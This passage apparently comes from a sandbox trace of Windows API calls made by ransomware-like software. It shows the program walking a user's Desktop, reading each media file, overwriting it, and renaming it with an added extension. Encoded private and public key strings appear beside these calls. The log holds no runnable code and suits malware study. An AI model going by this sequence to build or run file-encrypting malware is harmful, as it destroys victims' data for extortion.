ftCreationTime.dwHighDateTime=0x1d5e6eb, ftLastAccessTime.dwLowDateTime=0xbb9ec9d0, ftLastAccessTime.dwHighDateTime=0x1d5d9c8, ftLastWriteTime.dwLowDateTime=0xbb9ec9d0, ftLastWriteTime.dwHighDateTime=0x1d5d9c8, nFileSizeHigh=0x0, nFileSizeLow=0x123ea, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="hH27mJYDN25DAqh2mH.mkv", cAlternateFileName="HH27MJ~1.MKV")) returned 1 [0126.857] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.857] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.857] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hH27mJYDN25DAqh2mH.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hh27mjydn25daqh2mh.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9161dab0, ftCreationTime.dwHighDateTime=0x1d5e6eb, ftLastAccessTime.dwLowDateTime=0xbb9ec9d0, ftLastAccessTime.dwHighDateTime=0x1d5d9c8, ftLastWriteTime.dwLowDateTime=0xbb9ec9d0, ftLastWriteTime.dwHighDateTime=0x1d5d9c8, nFileSizeHigh=0x0, nFileSizeLow=0x123ea)) returned 1 [0126.858] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hH27mJYDN25DAqh2mH.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hh27mjydn25daqh2mh.mkv")) returned 0x20 [0126.858] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hH27mJYDN25DAqh2mH.mkv", dwFileAttributes=0x80) returned 1 [0126.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.862] GetCurrentThreadId () returned 0xa30 [0126.862] GetCurrentThreadId () returned 0xa30 [0126.862] GetCurrentThreadId () returned 0xa30 [0126.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.863] GetCurrentThreadId () returned 0xa30 [0126.863] GetCurrentThreadId () returned 0xa30 [0126.863] GetCurrentThreadId () returned 0xa30 [0126.863] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hH27mJYDN25DAqh2mH.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hh27mjydn25daqh2mh.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.863] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.863] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.864] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x123ea [0126.864] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.864] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x123ea, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x123ea, lpOverlapped=0x0) returned 1 [0126.867] CloseHandle (hObject=0x120) returned 1 [0126.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hH27mJYDN25DAqh2mH.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hh27mjydn25daqh2mh.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.872] WriteFile (in: hFile=0x120, lpBuffer=0x1f0cfa0*, nNumberOfBytesToWrite=0x123ea, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f0cfa0*, lpNumberOfBytesWritten=0x18f978*=0x123ea, lpOverlapped=0x0) returned 1 [0126.877] CloseHandle (hObject=0x120) returned 1 [0126.878] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hH27mJYDN25DAqh2mH.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hh27mjydn25daqh2mh.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hH27mJYDN25DAqh2mH.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hh27mjydn25daqh2mh.mkv.zv7un")) returned 1 [0126.880] GetCurrentThreadId () returned 0xa30 [0126.880] GetCurrentThreadId () returned 0xa30 [0126.880] GetCurrentThreadId () returned 0xa30 [0126.880] GetCurrentThreadId () returned 0xa30 [0126.880] GetCurrentThreadId () returned 0xa30 [0126.881] GetCurrentThreadId () returned 0xa30 [0126.881] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea07810, ftCreationTime.dwHighDateTime=0x1d5df48, ftLastAccessTime.dwLowDateTime=0xfad36ca0, ftLastAccessTime.dwHighDateTime=0x1d5e71f, ftLastWriteTime.dwLowDateTime=0xfad36ca0, ftLastWriteTime.dwHighDateTime=0x1d5e71f, nFileSizeHigh=0x0, nFileSizeLow=0x58d4, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="hHeMlnuwSXt.avi", cAlternateFileName="HHEMLN~1.AVI")) returned 1 [0126.881] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.881] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.881] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hHeMlnuwSXt.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhemlnuwsxt.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea07810, ftCreationTime.dwHighDateTime=0x1d5df48, ftLastAccessTime.dwLowDateTime=0xfad36ca0, ftLastAccessTime.dwHighDateTime=0x1d5e71f, ftLastWriteTime.dwLowDateTime=0xfad36ca0, ftLastWriteTime.dwHighDateTime=0x1d5e71f, nFileSizeHigh=0x0, nFileSizeLow=0x58d4)) returned 1 [0126.881] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hHeMlnuwSXt.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhemlnuwsxt.avi")) returned 0x20 [0126.881] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hHeMlnuwSXt.avi", dwFileAttributes=0x80) returned 1 [0126.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCns